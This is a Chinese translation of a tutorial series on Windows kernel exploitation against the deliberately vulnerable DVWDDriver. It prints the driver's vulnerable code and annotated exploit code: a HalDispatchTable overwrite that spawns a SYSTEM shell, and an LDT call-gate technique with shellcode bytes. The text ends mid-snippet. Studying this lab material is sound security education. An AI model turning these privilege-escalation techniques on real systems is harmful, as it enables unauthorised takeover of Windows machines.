windows kernel exploitation基礎教程

wyzsk發表於2020-08-19
作者: P3nro5e · 2015/06/03 10:43

來源: http://poppopret.blogspot.com/2011/06/windows-kernel-exploitation-part-1.html

0x00 概述


1.WTFBBQ?


由於現代Windows作業系統的多種緩解技術(ASLR,DEP,SafeSEH,SEHOP,/GS...),使用者態的軟體變得越來越難以利用.在安全社群,驅動安全問題變得越來越受關注。

這個系列的文章中,我試圖共享在windows系統上關於核心利用的探索結果.因為在網上關於這個話題的文件不是很多-不是很容易理解-我已經發現發表這些文章對於像我這樣的新手來說是有幫助的.當然,這些文章中的錯誤歡迎在評論中指出.

實際上,在閱讀完 "A guide to Kernel Exploitation" (1]這本書中關於windows的章節後我已決定研究這個驅動(作者用於闡明在驅動中最為經典的弱點和利用這些弱點的方法).這個驅動稱為DVWDDriver- Damn Vulnerable Windows Driver的縮寫-且可以在該地址上獲取該章節.說實話,僅透過閱讀這本書而沒有檢視原始碼中的細節和一些附加paper,並不能得到書中所有的”乾貨”.這就是我寫這些文章的原因.

在這篇文章中,我將描述驅動及其弱點,在下一篇文章中我將試圖共享我們利用那些弱點的相關理解.當然,我將不會虛構任何東西,並且所有描述的東西都是基於可獲取的文件的.這一系列的文章的目的是給出不同利用方法的全域性概要並提供帶有註釋的原始碼的技術細節

2.Damn Vulnerable Windows Driver –陳述 DVWDDriver可以控制三種不同的IOCTL(I/O Control Code):

  • DEVICEIO_DVWD_STORE: 允許將使用者態的buffer複製到儲存KMD(核心態驅動)的一個全域性結構體的buffer

  • DEVICEIO_DVWD_OVERWRITE:允許檢索位於核心態的buffer.這將透過將核心態中的buffer複製到給出地址的buffer中.是的,沒有做關於地址的檢查且將看到這裡存在一個弱點

  • DEVICEIO_DVWD_STACKOVERFLOW:允許將被傳遞進引數的buffer複製到本地buffer

用DvwdHandleIoctlStore() (將呼叫TriggerStore()函式)處理第一種IOCTL.基本上, ProbeForRead() 函式會檢查結構體(包含buffer及其大小)是否指向使用者態的記憶體地址({buffer, size}).然後它呼叫SetSavedData()函式(目的是將buffer的內容複製進全域性結構體的buffer中(當然這位於核心態).在進行復制操作之前,函式再次使用ProbeForRead()例程,但這次是在緩衝區指標上使用.使用它是為檢查buffer是否也位於使用者態中.

DvwdHandleIoctlOverwrite()函式處理第二個IOCTL,這將呼叫TriggerOverwrite()函式.TriggerStore()用同樣的方式,這個函式檢查傳遞到引數中({buffer, size })的結構體指標是否指向一個使用者態的地址(address<=0x7FFFFFFF).然後,它呼叫GetSavedData()函式(為了將含有全域性結構體的buffer複製到被傳遞到引數中的結構體的buffer中.然而,這裡沒有做附加檢查(以確認目標buffer是否位於使用者態).

enter image description here

前兩個IOCTL允許利用Arbitrary Memory Overwrite弱點,且將在下一幅圖中明白其中的原因:

DvwdHandleIoctlStackOverflow()處理第三個IOCTL,這將呼叫弱點函式TriggerOverflow(),我們將看到這個函式具有基於棧的緩衝區溢位弱點

enter image description here

3.第一種弱點:覆蓋任意記憶體


我們已經看到GetSavedData()函式不會檢查目標buffer(以引數的形式接收)的指標是否在使用者態.函式將這個儲存在全域性結構體中的資料複製進該buffer中.問題是使用者不檢查使用者控制的指標.所以,如果使用者態的程式指定一個任意值-如一個位於核心態中的地址-函式最終覆蓋任意核心記憶體範圍內的值.且因為它可能寫入到KMD的全域性結構體的buffer中(有了 DEVICEIO_DVWD_STORE IOCTL ),我們可以在我們想要的地址上寫入任意數量的資料.這被稱為Arbitrary Memory Overwrite 弱點或 write-what-where 弱點.

這是一個註釋過的弱點函式的原始碼:

#!c++
//=============================================================================
//          Part of the KMD vulnerable to Arbitrary overwrite
//=============================================================================

#define GLOBAL_SIZE_MAX 0x100

UCHAR GlobalBuffer[GLOBAL_SIZE_MAX];
ARBITRARY_OVERWRITE_STRUCT GlobalOverwriteStruct = {&GlobalBuffer, 0};

// Copy the content located at GlobalOverwriteStruct.StorePtr to 
// overwriteStruct->StorePtr (No check is performed to ensured that
// it points to userland !!!)
VOID GetSavedData(PARBITRARY_OVERWRITE_STRUCT overwriteStruct) {

 ULONG size = overwriteStruct->Size;
 PAGED_CODE();

 if(size > GlobalOverwriteStruct.Size)
  size = GlobalOverwriteStruct.Size; 

 // ---- VULNERABILITY ------------------------------------------------------
 RtlCopyMemory(overwriteStruct->StorePtr, GlobalOverwriteStruct.StorePtr, size);
 // -------------------------------------------------------------------------
}

// Copy a buffer located into kernel memory into a userland buffer
// 
// stream is a pointer that should address a userland structure 
// type ARBITRARY_OVERWRITE_STRUCT
NTSTATUS TriggerOverwrite(UCHAR *stream) {

 ARBITRARY_OVERWRITE_STRUCT overwriteStruct;
 NTSTATUS NtStatus = STATUS_SUCCESS; 
 PAGED_CODE();

 __try {
  // Initialize a ARBITRARY_OVERWRITE_STRUCT structure (in kernel land)
  RtlZeroMemory(&overwriteStruct, sizeof(ARBITRARY_OVERWRITE_STRUCT));

  // Check if the pointer given in parameter is located in userland 
  // (if it's not the case, an exception is triggered)
  ProbeForRead(stream, sizeof(ARBITRARY_OVERWRITE_STRUCT), TYPE_ALIGNMENT(char));

  // Copy the ARBITRARY_OVERWRITE_STRUCT from userland to the newly 
  // initialized structure located in kernel land
  RtlCopyMemory(&overwriteStruct, stream, sizeof(ARBITRARY_OVERWRITE_STRUCT));

  // Call the vulnerable function
  GetSavedData(&overwriteStruct);
 }
 __except(ExceptionFilter()) {
  NtStatus = GetExceptionCode();
  DbgPrint("[!!] Exception Triggered: Handler body: Exception Code: %d\r\n", NtStatus);   
 }

 return NtStatus;                                      
}

在下篇文章中我們將看到利用這種弱點的方法.

4. 第二種弱點:基於棧的緩衝區溢位


TriggerOverflow()函式僅檢查buffer是否接收使用者態的引數,是否將使用者態的引數複製進本地buffer.本地buffer僅64位元組長.顯然這是種典型的緩衝區溢位弱點,因為這裡沒檢查源buffer的大小。好吧,它發生在核心態,所以不算太經典.

#!c++
//=============================================================================
//          Part of the KMD vulnerable to Stack Overflow
//=============================================================================

#define LOCAL_BUFF 64

NTSTATUS __declspec(dllexport) TriggerOverflow(UCHAR *stream, UINT32 len) {
 char buf[LOCAL_BUFF];
 NTSTATUS NtStatus = STATUS_SUCCESS; 
 PAGED_CODE();  

 __try {
  // Check if stream points to userland
  ProbeForRead(stream, len, TYPE_ALIGNMENT(char));

  // ---- VULNERABILITY --------------------------------------------------
  RtlCopyMemory(buf, stream, len);
  // ---------------------------------------------------------------------
 } 
 __except(ExceptionFilter()) {
  NtStatus = GetExceptionCode();
  DbgPrint("[!!] Exception Triggered: Handler body: Exception Code: %d\\r\n", NtStatus);   
 }

 return NtStatus;

}

5. 測試平臺


下篇文章將在Windows Server 2003 SP2(32-bit)上展示利用技術

為了快速載入驅動這裡使用“OSR DriverLoader”工具(下載地址: http://bbs.pediy.com/showthread.php?t=100473&highlight=osr+loader)

enter image description here

引用 0x00

(1] A Guide to Kernel Exploitation (Attacking the Core), by Enrico Perla & Massimiliano Oldani http://www.attackingthecore.com

(2] ProbeForRead() 例程 http://msdn.microsoft.com/en-us/library/ff559876(VS.85).aspx

(3] OSR Driver Loader 下載 http://bbs.pediy.com/showthread.php?t=100473&highlight=osr+loader

0x01 使用HalDispatchTable利用任意記憶體覆蓋弱點


在這篇文章中我們將看到在DVWDDriver中利用write-what-where弱點的方法的相關陳述.該方法是覆蓋某個核心排程表中的一個指標.核心使用這種表儲存多種指標.某種表的例子:

  • SSDT(系統服務描述符表) nt!KeServiceDescriptorTable儲存系統呼叫的地址.核心使用它以排程系統呼叫(更多資訊在(1]中).

  • HAL Dispatch Table nt!HalDispatchTable.HAL(硬體抽象層)軟體層的一種,使用它的目的是使系統從硬體中孤立.基本上,它允許在機器上(帶有不同硬體)執行相同系統.這種表儲存HAL使用的例程指標.

這裡我們將改寫HalDispatchTable()中一個特定的指標.讓我們看看這樣做的原因及其方法吧

1. NtQueryIntervalProfile()和HalDispatchTable


NtQueryIntervalProfile()和HalDispatchTable根據(3],NtQueryIntervalProfile()是ntdll.dll中匯出的未公開的系統呼叫.它呼叫核心可執行程式ntosknl.exe匯出的KeQueryIntervalProfile()函式.如果我們反彙編那個函式,我們可看到如下:

enter image description here

因此位於nt!HalDispatchTable+0x4地址上的例程呼叫完成(看紅色方框).所以如果我們覆蓋那個地址上的指標-也就是說HalDispatchTable中的第二個指標-帶有我們shellcode地址;然後我們呼叫函式NtQueryIntervalProfile(),將執行我們的 shellcode.

2.利用方法論


筆記: 驅動使用的GlobalOverwriteStruct是全域性結構體,它用於儲存buffer及它的大小.

為利用Arbitrary Memory Overwrite弱點,基本的想法是:

1.使用DVWDDriver的IOCTL DEVICOIO_DVWD_STORE:為把我們的shellcode地址儲存進GlobalOverwriteStruct結構體(核心態)的buffer.記住我們傳遞到引數的地址必須位於使用者記憶體地址空間(address<=0x7FFFFFFF),因為這是在IOCTL控制程式碼中使用函式ProbeForRead()完成檢查的.好吧,沒問題,我們僅是把一個指標傳遞到我們的shellcode(當然,它指向使用者態)!因此,傳遞到驅動的結構體含有這個指標且buffer的大小為4位元組.

2.然後,使用DVWDDriver的IOCTL DEVICOIO_DVWD_OVERWRITE是為了將內容寫入buffer(地址位於被儲存進GlobalOverwriteStruct的buffer)-也就是說之前新增的shellcode地址-被傳遞進引數的地址.記住這時,在IOCTL控制程式碼中沒有進行檢查,所以這個地址可以是任意位置,不管是在使用者態還是核心態.因此,我們將傳遞在HalDispatchTable中第二個入口地址,當然,這在核心態.

3.所以綜上所述,我們濫用IOCTL DEVICOIO_DVWD_OVERWRITE是為了寫我們想要的what及我們想要的where:

  • what = 我們shellcode的地址

  • where = nt!HalDispatchTable+0x4的地址

要利用這些型別和的弱點,重點是需要理解控制那兩個構成成分 NB:這裡我們可覆蓋完整的地址(4位元組 )但是案例中只能覆蓋1位元組.在這樣的情節中,需要用一個在使用者態的地址覆蓋Most Significant Byte 的第二個入口的HalpatchTable:例如,我們可佔用0x01.然後,需要把NOP sled放在0x01000000-0x02000000 (標記為 RWX的記憶體區域)範圍內(在末尾帶有跳轉到我們shellcode的指令).

hey..等等!我必須討論下我們使用的shellcode

3. shellcoding…patch我們的訪問令牌並回到ring 3層


這並非像我們在核心態中利用某個軟體那樣,這裡我們將在核心態中執行shellcode且並不能犯任何錯誤否則我們將面臨藍色畫面.通常在核心中本地利用,在ring0我們擁有特權用 NT AUTHORITY\SYSTEM 的SID patch 當前程式的訪問令牌來改變User SID.然後我們儘可能快地回到ring3接著彈出shell。

在windows中,訪問令牌(或僅被稱為Token)被使用於描述一個程式或執行緒的上下文安全.特別地,它儲存User SID,Groups SIDs和一個特權列表.基於這些資訊,核心可決定被要求的行為是否被授權(訪問控制).在使用者空間中,在一個令牌上可能得到一個控制程式碼.更多關於控制程式碼的資訊會在(4]中給出.這是用於描述一個訪問令牌的structure _TOKEN細節:

#!c++
kd> dt nt!_token
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER
   +0x030 TokenLock        : Ptr32 _ERESOURCE
   +0x038 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x040 ModifiedId       : _LUID
   +0x048 SessionId        : Uint4B
   +0x04c UserAndGroupCount : Uint4B
   +0x050 RestrictedSidCount : Uint4B
   +0x054 PrivilegeCount   : Uint4B
   +0x058 VariableLength   : Uint4B
   +0x05c DynamicCharged   : Uint4B
   +0x060 DynamicAvailable : Uint4B
   +0x064 DefaultOwnerIndex : Uint4B
   +0x068 UserAndGroups    : Ptr32 _SID_AND_ATTRIBUTES
   +0x06c RestrictedSids   : Ptr32 _SID_AND_ATTRIBUTES
   +0x070 PrimaryGroup     : Ptr32 Void
   +0x074 Privileges       : Ptr32 _LUID_AND_ATTRIBUTES
   +0x078 DynamicPart      : Ptr32 Uint4B
   +0x07c DefaultDacl      : Ptr32 _ACL
   +0x080 TokenType        : _TOKEN_TYPE
   +0x084 ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL
   +0x088 TokenFlags       : UChar
   +0x089 TokenInUse       : UChar
   +0x08c ProxyData        : Ptr32 _SECURITY_TOKEN_PROXY_DATA
   +0x090 AuditData        : Ptr32 _SECURITY_TOKEN_AUDIT_DATA
   +0x094 LogonSession     : Ptr32 _SEP_LOGON_SESSION_REFERENCES
   +0x098 OriginatingLogonSession : _LUID
   +0x0a0 VariablePart     : Uint4B

SIDs的指標列表被儲存進UserAndGroups(顯示_SID_AND_ATTRIBUTES).我們可檢索Token中包含的資訊,如下所示:

#!c++
kd> !process 0004
Searching for Process with Cid == 4
Cid handle table at e1ed7000 with 428 entries in use

PROCESS 827a6648  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00587000  ObjectTable: e1000c60  HandleCount: 388.
    Image: System
    VadRoot 82337238 Vads 4 Clone 0 Private 3. Modified 5664. Locked 0.
    DeviceMap e1001070
    Token                             e1001720
    ElapsedTime                       00:37:34.750
    UserTime                          00:00:00.000
    KernelTime                        00:00:01.578
    QuotaPoolUsage[PagedPool]         0
    QuotaPoolUsage[NonPagedPool]      0
    Working Set Sizes (now,min,max)  (43, 0, 345) (172KB, 0KB, 1380KB)
    PeakWorkingSetSize                526
    VirtualSize                       1 Mb
    PeakVirtualSize                   2 Mb
    PageFaultCount                    4829
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      8

kd> !token e1001720
_TOKEN e1001720
TS Session ID: 0
User: S-1-5-18
Groups:
 00 S-1-5-32-544
    Attributes - Default Enabled Owner
 01 S-1-1-0
    Attributes - Mandatory Default Enabled
 02 S-1-5-11
    Attributes - Mandatory Default Enabled
Primary Group: S-1-5-18
Privs:
 00 0x000000007 SeTcbPrivilege                    Attributes - Enabled Default
 01 0x000000002 SeCreateTokenPrivilege            Attributes -
 02 0x000000009 SeTakeOwnershipPrivilege          Attributes -
[...]

當然這想法通常是用內建 NT AUTHORITY\SYSTEM SID (S-1-5-18)指標替換所有者的SID的程式指標.我們也會用group BUILTIN\Administrators SID (S-1-5-32-544)patch group BUILTIN\Users SID (S-1-5-32-545) 原始碼在Shellcode32.c檔案中(從DVWDDriver提取).我已經新增了許多註釋以讓它變得更容易理解.

4. 總結…


在利用階段中這是我們需要做到的:

  1. 為得到HalDispatchTable的偏移,可在使用者態中載入核心可執行程式ntokrnl.exe.然後推算出它在核心態中的地址.
  2. 檢索我們shellcode的地址.這通常是被用於patch 訪問令牌的函式地址.但值得注意的是HalDispatchTable中被覆蓋的指標(通常指向一個函式)將會用到4個引數(在4個值在被壓入棧前: call dword ptr [nt!HalDispatchTable+0x4]).所以,我們使用一段帶有4個引數的函式的shellcode,僅是因為相容性。
  3. 在ntdll.dll中檢索NtQueryIntervalProfile()系統呼叫的地址
  4. 用我們的shellcode函式地址覆蓋 nt!HalDispatchTable+0x4的指標.是的一個帶有4個引數的指標(patch 程式的令牌).這將透過連續兩次呼叫callingDeviceIoControl() 傳送2次IOCTL:DEVICOIO_DVWD_STORE 和 thenDEVICOIO_DVWD_OVERWRITE來完成,這在圖2中解釋了.
  5. 為觸發shellcode呼叫函式NtQueryIntervalProfile().
  6. 當然..這時程式正在System使用者下執行,因此我們可彈出shell或做一些其它我們想做的!

下圖是由(2]中給出的全域性概要:

enter image description here

5.利用程式碼


這是DVWDDriver作者開發的利用程式碼.當我讀完那些程式碼時,我已經新增了許多註釋以確保完全理解它們.隨著上一次利用的進行,這應該變得更容易理解,這裡沒有什麼需要注意的了=)

#!c++
// ----------------------------------------------------------------------------
// Arbitrary Memory Overwrite exploitation ------------------------------------
// ---- HalDispatchTable pointer overwrite method -----------------------------
// ----------------------------------------------------------------------------


// Overwrite kernel dispatch table HalDispatchTable's second entry:
//  - STORE the address of the shellcode (pointer in kernelland, points to userland)
//  - OVERWRITE the second pointer in the HalDispatchTable with the address of the shellcode
BOOL OverwriteHalDispatchTable(ULONG_PTR HalDispatchTableTarget, ULONG_PTR ShellcodeAddrStorage) {

 HANDLE hFile;
 BOOL ret;
 DWORD dwReturn;
 ARBITRARY_OVERWRITE_STRUCT overwrite;

 // Open handle to the driver
 hFile = CreateFile(L"\\\\.\\DVWD", 
        GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 
        NULL, 
        OPEN_EXISTING, 
        0, 
        NULL);

 if(hFile != INVALID_HANDLE_VALUE) {

  // DEVICEIO_DVWD_STORE
  // -> store the address of the shellcode into kernelland (GlobalOverwriteStruct) 
  overwrite.Size = 4;
  overwrite.StorePtr = (PVOID)&ShellcodeAddrStorage;
  ret = DeviceIoControl(hFile, DEVICEIO_DVWD_STORE, &overwrite, 0, NULL, 0, &dwReturn, NULL);

  // DEVICEIO_DVWD_OVERWRITE 
  // -> copy the content of the buffer in kernelland (the address previously added)
  // to the location HalDispatchTableTarget (second entry in the HalDispatchTable)
  overwrite.Size = 4;
  overwrite.StorePtr = (PVOID)HalDispatchTableTarget;
  ret = DeviceIoControl(hFile, DEVICEIO_DVWD_OVERWRITE, &overwrite, 0, NULL, 0, &dwReturn, NULL);

  CloseHandle(hFile);

  return TRUE;
 }

 return FALSE;  
}



typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);
BOOL TriggerOverwrite32_NtQueryIntervalProfileWay() {

 ULONG dummy = 0;
 ULONG_PTR HalDispatchTableTarget;
 ULONG_PTR ShellcodeAddrStorage; 

 _NtQueryIntervalProfile NtQueryIntervalProfile;

 // Load the Kernel Executive ntoskrnl.exe in userland and get some symbol's kernel address
 if(LoadAndGetKernelBase() == FALSE) {
  return FALSE;
 }

 // Retrieve the address of the shellcode
 ShellcodeAddrStorage = (ULONG_PTR)UserShellcodeSIDListPatchUser4Args;

 // Retrieve the address of the second entry within the HalDispatchTable
 HalDispatchTableTarget = HalDispatchTable + sizeof(ULONG_PTR);

 // Retrieve the address of the syscall NtQueryIntervalProfile within ntdll.dll
 NtQueryIntervalProfile  = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryIntervalProfile");

 // Overwrite the pointer in HalDispatchTable
 if(OverwriteHalDispatchTable(HalDispatchTableTarget, ShellcodeAddrStorage) == FALSE) {
  return FALSE;
 }

 // Call the function in order to launch our shellcode
 // kd> u nt!KeQueryIntervalProfile
 NtQueryIntervalProfile(2, &dummy);

 if (CreateChild(_T("C:\\WINDOWS\\SYSTEM32\\CMD.EXE")) != TRUE) {
  wprintf(L"Error: unable to spawn process, Error: %d\n", GetLastError());
  return FALSE;
 }

 return TRUE;
}

6. w00t ?


接著試圖利用

DVWDExploit.exe --exploit-overwrite-profile-32

enter image description here

引用 0x01


(1] SSDT Uninformed article http://uninformed.org/index.cgi?v=8&a=2&p=10

(2] Exploiting Common Flaws in Drivers, by Ruben Santamarta http://reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1

(3] NtQueryIntervalProfile(), http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Profile/NtQueryIntervalProfile.html

(4] Windows Internals, book by Mark Russinovich & David Salomon

0x02 透過LDT利用Arbitrary Memory Overwrite弱點


在上篇文章中我們明白了在DVWDDriver(基於覆蓋位於核心排程表HalDispatchTable的一個指標)中write-what-where 弱點的一種利用方法.這種技術依賴於未公開的系統呼叫,也因此出現了一個技術上的問題(在下次系統更新後是否還存在這個系統呼叫),此外,新的技術細節將在這篇文章中(基於硬體特殊結構體GDT和LDT,它們在不同的windows版本中也仍然保持相同的特性)講到.

首先,需要GDT和LDT的背景知識,因此我們將用到Intel 手冊=)

1. Windows GDT and LDT


根據Intel 手冊(2],分段是用段選擇子(16-位值)實現的,通常,一個邏輯地址組成如下:

  • 一個偏移地址,32-位值,
  • 一個段選擇子,16位值.

這是段和頁機制的全域性概要(邏輯地址—>線性地址->實體地址):

enter image description here

上圖展示了邏輯地址被轉換成線性地址的過程(因為有分段).然後我們可看到頁機制.基本上,它由線性地址轉換成實體地址組成.這通常是一種沒用的Intel特性.線性地址==實體地址.windows使用頁機制,所以線性地址僅是另一種分割成三個成分的結構.為得到實體地址那些成分的值被當做陣列中的偏移來使用

無論如何,我們可看到段選擇子引用一個表中的入口且線上性地址空間中這個入口通常描述一個段(段描述符):這個表是GDT.好的,但是它是如何工作的呢,LDT呢?讓我們回頭看看Intel手冊..

我們學習的GDT(全域性描述符表)和(區域性描述符表)是兩種段描述符表.我們也可看看這個直觀圖:

enter image description here

在每個系統啟動時,必須建立一個GDT.整個系統的每個處理器有一個單一的GDT(是稱為”“全域性”表的原因)並在系統上可與所有任務共享.雖然LDT可被一個單一任務或一組相互之間有關係的任務使用.但它可有可無;一個LDT被定義為一個單一的GDT入口(特別是對一個程式而言),意味著在程式上下文切換期間,入口被替代成GDT.

為了給出更多細節,GDT一般含有:

  • 一對核心態程式碼和資料段描述符, DPL=0(DPL定義被引用段的特權級,等等)
  • 一對使用者態程式碼和資料段描述符, DPL=3
  • 一個TSS(任務狀態段),DPL=0.閱(3]
  • 3個附加的資料段入口
  • 一個任意的LDT入口

預設,一個新程式沒有任何被定義的LDT,然而如果程式傳送一個建立它的命令,它將可被分配.如果一個程式有一個相應的LDT,那麼如下所示在LdtDescriptorfield(核心結構體_KPROCESS對應程式的)中將會找到一個指標.

#!c++
kd> dt nt!_kprocess
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 ProfileListHead  : _LIST_ENTRY
   +0x018 DirectoryTableBase : [2] Uint4B
   +0x020 LdtDescriptor    : _KGDTENTRY
   +0x028 Int21Descriptor  : _KIDTENTRY
   [...]

2. Call-Gate


Call-Gate允許訪問帶有不同特權級的程式碼段,” Call-Gate”促進控制程式控制在不同特權級之間的傳輸.它們通常僅被使用於作業系統或可執行程式(使用特權機制).

Call-Gate是一種GDT或LDT的入口.它是特殊描述符的一種(被稱為Call-Gate描述符).它的大小和段描述符相同(8位元組),但是一些成分沒有以相同的方式劃分.下圖出自(1]且清晰地展示了不同點:

enter image description here

事實上,Call-Gate對跳轉到不同段或不同特權級的執行(ring)來說是有用的.當呼叫Call-Gate時,將會做如下工作:

  1. 處理器訪問Call-Gate描述符,
  2. 透過使用包含Call-Gate的段選擇子來定位我們最終想要訪問的程式碼段描述符,
  3. 它檢索程式碼段描述符的基地址並用其加上Call-Gate描述符的偏移值
  4. 得到想要獲取的程式碼的線性地址(程式碼段描述符的線性地址 = 基地址 +偏移值)

enter image description here

文章(4]解釋了我們新增Call-Gate(允許我們在ring0到ring3中執行程式碼)的方法. 所以,我將不會重複一些在好文章中陳述過的東西,但這隻陳述對我們來說即將有用的東西:

  • 在我們將要執行的payload下,“段選擇子”域必須引用段描述符.因為如果在Ring0中要有執行它的完全特權,那麼必須引用核心程式碼段(CS)描述符.正確值是0x0008.
  • 如果我們需訪問來自使用者態的Call-Gate,“DPL”必須等於3.
  • “Offset”必須是我們想要執行的程式碼地址.
  • 因為Call-Gate,“Type”必須等於12.

After that, we need to know how to call our Call-Gate...

之後,我們需要知道呼叫我們Call-Gate的方法..

首先我們將使用x86指令FAR CALL(0x9A).這與一般的CALL不同,因為我們必須指定一個偏移(32-位)AND一個段選擇子(16-位),在我們的案例中,我們僅需為段選擇子放置正確的值,且我們必須離開在0x00000000上的索引.當然,這裡我們使用了兩次呼叫;第一次呼叫是為了到Call-Gate描述符然後Call-Gate描述符指向我們想要執行的程式碼.讓我們看看建立段選擇子的方法:

enter image description here

所以: * 位0,1:我們從使用者態中呼叫Call-Gate,因此我們將把值11(對於ring3來說,十進位制為值3)放置於此. * 位2:將值設為1因為我們將把Call-Gate描述符置於LDT中; * 位3..15:這是GDT/LDT中的索引.我們將Call-Gate放在LDT中的首位,因此我們在這將值設為0.

3.利用方法論


現在我們已介紹完關於GDT和LDT的相關知識.我們可開始介紹利用方面的知識.

基本上,利用是由一個建立的新LDT構成.然後,我們把新入口新增到LDT中-僅是一個入口- 一個Call-Gate描述符(在解釋它之前這已放置了正確的值).

接著為了用偽造的LDT描述符覆蓋LDT描述符,我們需要用到write-what-where弱點

  • what = 偽造LDT的LDT描述符,
  • where =GDT中LDT的位置.透過一個稱為LDTDescriptor的KGDTENTRY結構體來描繪LDT, 正如我們之前看到過的,它是一個_KPROCESS結

構體的入口(核心用於儲存關於特定程式資訊的結構體).因此我們可以透過檢索_KPROCESS(==_KPROCESS的地址)得到我們想要寫入的位置並將其加上恰當的偏移值(windowsServer 2003 SP2中為0x20).

最後,我們可以在當前程式LDT的第一(且僅有)入口上透過FAR CALL呼叫我們的Call-Gate.這將允許其跳轉到我們的shellcode.

4. Shellcoding


好了我們已經明白利用是如何工作的了.我們將重用在上一篇文章中使用過的shellcode(關於利用帶有write-what-where弱點的HalDispatchTable).但是這裡有一個問題..在我們的payload執行之後我們需要從Call-Gate返回.一個FAR CALL將會跳轉到Call-Gate,也就是說EIP指向的段將會改變,因此在執行之後我們需要一個FAR RET(0xCB).透過這樣做我們可以跳轉到我們利用中的下一條指令. 無論如何,重點是記住在核心態而不是使用者態中指向KPCR(核心處理程式控制區域)的FS段描述符(它指向TEB結構體(執行緒執行塊)).事實上:

• 在核心態中,FS=0x30 • 在使用者態中,FS=0x3B

因此,在核心態中,在執行我們的shellcode之前,必須把FS設為0x30,然後在返回之後將其置為0x3B 前兩個原因DVWDExploit的作者已經用ASM寫了一個wrapper(ReturnFromGate)來實現那些操作.這是該wrapper的地址(必須被放置到Call-Gate描述符的偏移範圍內).

5.利用細節


好的,我們已經徹底理解這個利用的細節.這是它的工作流程:

  1. 檢索在核心態中被執行的payload地址(命名為KernelPayload),那表明是patch 當前程式的Access Token的程式碼
  2. 檢索_KPROCESS結構體的地址
  3. 檢索GDT中LDT描述符的地址(定位於_KPROCESS+偏移(0x20))
  4. 在ntdll.dll內使用ZwSetInformationProcess()系統呼叫建立一個新的LDT.該工作由稱為SetLDTEnv()的函式完成.
  5. 將KernelPayload的地址放到wrapper,ReturnFromGate將可以從它那裡呼叫shellcode,然後將這個wrapper放入可執行記憶體.
  6. 用稱為PrepareCallGate32()的函式建立Call-Gate描述符.當然,為了在ring0到ring3之間執行程式碼,我們已經明白恰當填充Call-Gate區域的方法.
  7. 可以用PrepareLDTDescriptor32()函式建立LDT描述符(對應上一個被建立的LDT)
  8. 透過使用弱點,將之前建立的一個對應的偽造LDT覆蓋GDT中的LDT描述符: • 利用DVWDDriver的IOCTL DEVICEIO_DVWD_STORE把新的LDT描述符儲存進GlobalOverwriteStruct • 編寫新的LDT描述符- 在GlobalOverwriteStruct中-位於GDT中的現存LDT描述符,謝謝 DVWDDriver的 IOCTL DEVICEIO_DVWD_OVERWRITE
  9. 然後我們需要強制進行一個程式的上下文切換.事實上,GDT中的LDT段描述符僅在上下文切換後更新.為了達到目的我們僅需要休息一段時間.
  10. 最後使我們的FAR CALL通向Call-Gate.那將觸發wrapper的執行且在核心態中執行我們的shellcode
  11. 從我們的shellcode返回時,正在執行的程式SID = NT AUTHORITY\SYSTEM,這時我們可以做任何我們想做的! 一幅圖或許可以幫助理解... =)

enter image description here

6.利用程式碼


#!c++
Here is a code snippet from DVWDExploit with many comments I've added. 
// ----------------------------------------------------------------------------
// Arbitrary Memory Overwrite exploitation ------------------------------------
// ---- Method using LDT  -----------------------------------------------------
// ----------------------------------------------------------------------------


typedef NTSTATUS (WINAPI *_ZwSetInformationProcess)(HANDLE ProcessHandle, 
                       PROCESS_INFORMATION_CLASS ProcessInformationClass,  
                       PPROCESS_LDT_INFORMATION ProcessInformation,
                       ULONG ProcessInformationLength);    

// Fill the Call-Gate Descriptor -------------------------------------------------
VOID PrepareCallGate32(PCALL_GATE32 pGate, PVOID Payload) {

 ULONG_PTR IPayload = (ULONG_PTR)Payload;

 RtlZeroMemory(pGate, sizeof(CALL_GATE32));

 pGate->Fields.OffsetHigh   = (IPayload & 0xFFFF0000) >> 16;
 pGate->Fields.OffsetLow    = (IPayload & 0x0000FFFF);
 pGate->Fields.Type     = 12;   // Gate Descriptor
 pGate->Fields.Param    = 0;
 pGate->Fields.Present    = 1;
 pGate->Fields.SegmentSelector  = 1 << 3;  // Kernel Code Segment Selector
 pGate->Fields.Dpl     = 3;
}

// Setup the LDT descriptor ------------------------------------------------------
VOID PrepareLDTDescriptor32(PLDT_ENTRY pLDTDesc, PVOID LDTBasePtr) {

 ULONG_PTR LDTBase = (ULONG_PTR)LDTBasePtr;

 RtlZeroMemory(pLDTDesc, sizeof(LDT_ENTRY));

 pLDTDesc->BaseLow     = LDTBase & 0x0000FFFF;
 pLDTDesc->LimitLow     = 0xFFFF;
 pLDTDesc->HighWord.Bits.BaseHi  = (LDTBase & 0xFF000000) >> 24;
 pLDTDesc->HighWord.Bits.BaseMid = (LDTBase & 0x00FF0000) >> 16;
 pLDTDesc->HighWord.Bits.Type = 2;
 pLDTDesc->HighWord.Bits.Pres  = 1;
}


// Assembly wrapper to the payload to be able to return from the Call-Gate ------
// (using a FAR RET)
#define OFFSET_SHELLCODE 18
CHAR ReturnFromGate[]="\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x60"                  // pushad       save general purpose registers
       "\x0F\xA0"              // push  fs     save FS segment register
       "\x66\xB8\x30\x00"      // mov  ax, 30h   
       // FS value is different between userland (0x3B) and kernelland (0x30)
       "\x8E\xE0"              // mov  fs, ax     
       "\xB8\x41\x41\x41\x41"  // mov  eax, @Shellcode  invoke the payload
       "\xFF\xD0"              // call  eax  
       "\x0F\xA1"              // pop   fs     restore general purpose registers
       "\x61"                  // popad        restore FS segment register
       "\xcb";                 // retf       far ret


// Assembly code that executes a CALL to 0007:00000000 ----------------------------
// (Segment selector: 0x0007, offset address: 0x00000000)
// 16-bit segment selector:
